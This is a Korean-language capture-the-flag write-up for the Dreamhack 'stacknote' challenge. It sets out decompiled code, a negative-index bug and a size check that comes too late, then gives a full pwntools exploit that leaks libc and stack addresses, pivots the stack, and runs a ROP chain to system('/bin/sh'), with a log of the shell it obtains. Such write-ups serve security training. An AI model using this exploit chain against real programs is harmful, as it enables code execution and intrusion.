dreamhack - stacknote writeup
[dreamhack] stacknote writeup
1. 문제

usually notes are stored in the heap, but this time it's stored in the stack.
https://dreamhack.io/wargame/challenges/19972. 풀이
int __fastcall create_note(__int64 buf)
{
__int64 i; // [rsp+18h] [rbp-8h]
for ( i = 0LL; ; ++i )
{
if ( i > 9 )
return puts("no empty note");
if ( !*(_QWORD *)(48 * i + buf) )
break;
}
printf("size: ");
__isoc99_scanf("%ld", 0x30 * i + buf);
while ( getchar() != '\n' )
;
if ( *(_QWORD *)(0x30 * i + buf) > 40uLL )
return puts("size too big");
printf("data: ");
return read(0, (void *)(0x30 * i + buf + 8), *(_QWORD *)(48 * i + buf));
}
unsigned __int64 __fastcall read_note(__int64 buf)
{
__int64 idx; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("index: ");
__isoc99_scanf("%ld", &idx);
while ( getchar() != '\n' )
;
if ( idx <= 9 && *(_QWORD *)(48 * idx + buf) )
write(1, (const void *)(48 * idx + buf + 8), *(_QWORD *)(48 * idx + buf));
else
puts("invalid index");
return v3 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall update_note(__int64 buf)
{
__int64 idx; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("index: ");
__isoc99_scanf("%ld", &idx);
if ( idx <= 9 && *(_QWORD *)(48 * idx + buf) )
{
printf("size: ");
__isoc99_scanf("%ld", 48 * idx + buf);
if ( *(_QWORD *)(48 * idx + buf) <= 40uLL )
{
printf("data: ");
read(0, (void *)(48 * idx + buf + 8), *(_QWORD *)(48 * idx + buf));
}
else
{
puts("size too big");
}
}
else
{
puts("invalid index");
}
return v3 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall delete_note(__int64 buf)
{
__int64 idx; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("index: ");
__isoc99_scanf("%ld", &idx);
while ( getchar() != '\n' )
;
if ( idx <= 9 && *(_QWORD *)(0x30 * idx + buf) )
*(_QWORD *)(0x30 * idx + buf) = 0LL;
else
puts("invalid index");
return v3 - __readfsqword(0x28u);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
int idx; // [rsp+Ch] [rbp-1F4h] BYREF
char buf[488]; // [rsp+10h] [rbp-1F0h] BYREF
unsigned __int64 v6; // [rsp+1F8h] [rbp-8h]
v6 = __readfsqword(0x28u);
memset(buf, 0, 0x1E0uLL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
puts("1. create");
puts("2. read");
puts("3. update");
puts("4. delete");
printf("> ");
__isoc99_scanf("%d", &idx);
if ( idx != 4 )
break;
delete_note((__int64)buf);
}
if ( idx > 4 )
break;
switch ( idx )
{
case 3:
update_note(buf);
break;
case 1:
create_note(buf);
break;
case 2:
read_note(buf);
break;
default:
return 0;
}
}
return 0;
}
코드가 길다
원래 소스코드가 주어지진않았고 ida로 까본 코드이다. 크게 create_note
, read_note
, update_note
, delete_note
로 구분된다.
각 note
는 0x30
의 크기를 갖으며 최대 10개의 note
를 작성할 수 있다. 그리고 각 note
에서 첫 8바이트는 size
를 입력받고, 그다음 위치부터 0x28
만큼 쓸 수 있다.
-
create_note
:size
를 입력받고 40보다 큰지 검사. 검사 통과 시 내용 입력 -
read_note
:idx
를 입력받아서 해당 인덱스의note
내용을 출력 -
update_note
:idx
와size
를 입력받아서 해당 인덱스에 해당하는note
에size
만큼 내용 입력 -
delete_note
:idx
를 입력받아서 해당 인덱스의note
의size
를0
으로 처리 (이려면 못읽음)
이용해야할 것은 idx
가 0보다 작은지 확인하지 않는다는 점과, update_note
시에 size
가 40보다 크더라도 우선은 입력한 후에 검사를 한다는 점이다.
먼저 update_note
시에 size
가 40볻 크더라도 우선은 해당 값을 size
위치에 입력을 한 후에 검사를 하기 때문에, note
하나를 먼저 생성한 다음 update_note
를 통해 size
를 크게 주면 그 값이 들어가긴하지만 그뒤에 내용 입력은 되지않은채로 끝난다.
이 상태에서 read_note
를 통해 해당 note
내용을 출력하게 되면 size
가 굉장히 큰 값으로 들어가있기 때문에 canary
부터 시작해서 그 뒤의 스택에 들어가있는 값들을 모조리 읽어올 수 있다.
# 1. create note[0]
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"size: ", b"40")
p.sendafter(b"data: ", b"aaaa")
# 2. update size of the note[0]
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"0")
p.sendlineafter(b"size: ", b"600")
# 3. get canary by reading note[0]
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"index: ", b"0")
p.recv(480)
canary = u64(p.recv(8))
for i in range(14):
tmp = u64(p.recv(8))
print(hex(tmp))
if i == 1:
__libc_start_call_main = tmp - 122
print(hex(__libc_start_call_main))
if i == 3:
buf_addr = tmp - 0x240 - 0xd8
print(f"buf: {hex(buf_addr)}")
총 3가지의 값을 읽어와서 계산했는데 canary
, __libc_start_call_main + 122
, 그리고 buf
변수의 주소이다. 사실 canary
는 쓸모가 있을 것 같았는데 필요가 없었고, __libc_start_call_main
주소를 통해 libc base를 알 수 있었다.
두번째로 idx
를 0보다 작게 입력할 수 있었기 때문에 이를 활용해서 다른 함수의 리턴 주소를 덮을 수 있었고, idx = -2
일 때 update_note
로 돌아가는 리턴 주소가 note
내용 기준 3번째 8바이트 위치에 있었기 때문에 총 3개의 가젯을 입력할 수 있었다.
0x7ffe4f06d880: 0x0000000000000028 0x0000000000000000
0x7ffe4f06d890: 0x00007ffe4f06d8c0 0x0000617441ee85e6
0x7ffe4f06d8a0: 0x0000000000000001 0x00007ffe4f06d8e0
0x7ffe4f06d8b0: 0xfffffffffffffffe 0xf28a34e5f6e6a800
0x7ffe4f06d8c0: 0x00007ffe4f06dad0 0x0000617441ee8837
0x7ffe4f06d8d0: 0x0000000000000000 0x0000000300000340
0x7ffe4f06d8e0: 0x0000000000000028 0x000074cf1382882f
0x7ffe4f06d8f0: 0x000074cf1390f75b 0x000074cf139cb42f
0x7ffe4f06d900: 0x000074cf13858740 0x0000000000000000
0x7ffe4f06d910: 0x0000000000000000 0x0000000000000000
0x7ffe4f06d8e0
주소가 buf
였고, idx = -2
이면 0x7ffe4f06d880
주소이다. 그리고 0x7ffe4f06d898
위치에 있는 주소가 read
함수가 종료된 뒤에 update_note
로 돌아가는 리턴 주소이다.
pwndbg> x/10i 0x0000617441ee85e6
0x617441ee85e6 <update_note+363>: jmp 0x617441ee85f7 <update_note+380>
0x617441ee85e8 <update_note+365>: lea rax,[rip+0xa4a] # 0x617441ee9039
0x617441ee85ef <update_note+372>: mov rdi,rax
0x617441ee85f2 <update_note+375>: call 0x617441ee80c0 <puts@plt>
0x617441ee85f7 <update_note+380>: mov rax,QWORD PTR [rbp-0x8]
0x617441ee85fb <update_note+384>: sub rax,QWORD PTR fs:0x28
0x617441ee8604 <update_note+393>: je 0x617441ee860b <update_note+400>
0x617441ee8606 <update_note+395>: call 0x617441ee80e0 <__stack_chk_fail@plt>
0x617441ee860b <update_note+400>: leave
0x617441ee860c <update_note+401>: ret
그래서 dummy + pop_rdi + binsh + system
해서 40바이트 딱이다 생각해서 바로 때렸는데 스택 정렬문제로 실패했다… 해결하려면 ret
가젯을 추가해주던지 해야하는데 그러면 40바이트 제한을 넘기 때문에 원가젯으로 해결하려고도했지만 rbx
, r12
모두 null
로 맞춰줘야해서 이것도 제한을 넘겼다.
그리고 진짜 생고생과 삽질을 하면서 풀다가 포기했었다.
그러다가 다른 문제를 풀던 중 stack pivot
및 sfp overwrite
에 대해서 제대로 공부하게 돼서 여기에 써먹으면 풀 수 있겠다는 각이 서서 바로 재도전했다.
idx = -2
에는 3개의 가젯 밖에 못넣지만, stack pivot
에만 초점을 두면 pop rsp + fake_rbp + ret
이렇게 3개가 딱 맞게 들어간다. 이 fake_rbp
는 우리가 이미 buf
의 주소를 알고있고, 40바이트를 풀로 다 쓸 수 있는 노트가 10개나 있기 때문에 되게 많은 것을 할 수 있다.
그래서 note[0]
위치에 rop_chain
을 먼저 아래와 같이 다 입력해두었다.
# 5. write rop chain in note[0]
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"0")
p.sendlineafter(b"size: ", b"40")
payload = p64(libcbase + ret) # ret
payload += p64(libcbase + pop_rdi) # pop rdi
payload += p64(libcbase + binsh) # binsh addr
payload += p64(libcbase + system) # system addr
p.sendafter(b"data: ", payload)
이후에 note[-2]
위치에는 위에서 얘기한 stack pivot
을 위한 3개의 가젯으로 업데이트했다. 이때 fake_rbp
는 note[0]
의 size
가 buf
위치에 들어가있기 때문에 buf_addr + 8
을 해야한다.
# 6. stack pivot by updating note[-2]
# this overwrites the return address of the update_note func
# thic can be done by "pop rsp" to note[0] to execute rop chain
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"-2")
p.sendlineafter(b"size: ", b"40")
input()
payload = b"a" * 16
payload += p64(libcbase + pop_rsp) # pop rsp
payload += p64(buf_addr + 8)
payload += p64(libcbase + ret) # ret
p.sendafter(b"data: ", payload)
이러면 rsp
가 note[0]
위치로 이동하고, ret = pop rip
가 실행되면서 미리 넣어놨던 가젯들이 차례로 실행되면서 system("/bin/sh")
가 실행되어 쉘을 실행할 수 있다.
전체 exploit은 아래와 같다.
from pwn import *
p = process("./prob")
libc = ELF("libc.so.6")
# remote
ret = 0x000000000002882f
pop_rdi = 0x000000000010f75b
binsh = 0x1cb42f
system = 0x0000000000058740
pop_rsp = 0x000000000003c058
# local (ubuntu glibc 2.39-0ubuntu8.4)
#ret = 0x000000000002882f
#pop_rdi = 0x000000000010f75b
#binsh = 0x1cb42f
#system = 0x0000000000058750
#pop_rsp = 0x000000000003c068
#p = remote("host8.dreamhack.games", 15408)
# 1. create note[0]
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"size: ", b"40")
p.sendafter(b"data: ", b"aaaa")
# 2. update size of the note[0]
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"0")
p.sendlineafter(b"size: ", b"600")
# 3. get canary by reading note[0]
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"index: ", b"0")
p.recv(480)
canary = u64(p.recv(8))
for i in range(14):
tmp = u64(p.recv(8))
print(hex(tmp))
if i == 1:
__libc_start_call_main = tmp - 122
print(hex(__libc_start_call_main))
if i == 3:
buf_addr = tmp - 0x240 - 0xd8
print(f"buf: {hex(buf_addr)}")
# 4. calculate one_gadget
libcbase = __libc_start_call_main - 0x2150 - 0x28000 # offset : 0x2a150
#print(hex(libcbase))
#libcbase = libcbase & 0xfffffff00000
print(f"libcbase : {hex(libcbase)}")
print(hex(libcbase + system))
# 5. write rop chain in note[0]
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"0")
p.sendlineafter(b"size: ", b"40")
payload = p64(libcbase + ret) # ret
payload += p64(libcbase + pop_rdi) # pop rdi
payload += p64(libcbase + binsh) # binsh addr
payload += p64(libcbase + system) # system addr
p.sendafter(b"data: ", payload)
# 6. stack pivot by updating note[-2]
# this overwrites the return address of the update_note func
# thic can be done by "pop rsp" to note[0] to execute rop chain
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"index: ", b"-2")
p.sendlineafter(b"size: ", b"40")
input()
payload = b"a" * 16
payload += p64(libcbase + pop_rsp) # pop rsp
payload += p64(buf_addr + 8)
payload += p64(libcbase + ret) # ret
p.sendafter(b"data: ", payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/ctf/S7R12/stacknote/deploy$ python3 e_stacknote.py
[+] Starting local process './prob': pid 2705252
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/ctf/S7R12/stacknote/deploy/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
0x7ffda99bf790
0x7101f362a1ca
0x7101f362a150
0x7ffda99bf740
0x7ffda99bf818
buf: 0x7ffda99bf500
0x1c1b85040
0x62e0c1b866e3
0x7ffda99bf818
0xfe708d931a1ef477
0x1
0x0
0x62e0c1b88d88
0x7101f38fd000
0xfe708d931b3ef477
0xe3883861b63cf477
libcbase : 0x7101f3600000
0x7101f3658740
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
stack pivot
에 대해 다시 한번 제대로 공부할 수 있게된 문제였고, level2
포너블 문제를 풀다가 level4
를 처음 풀게되서 좋았던 문제.
해결~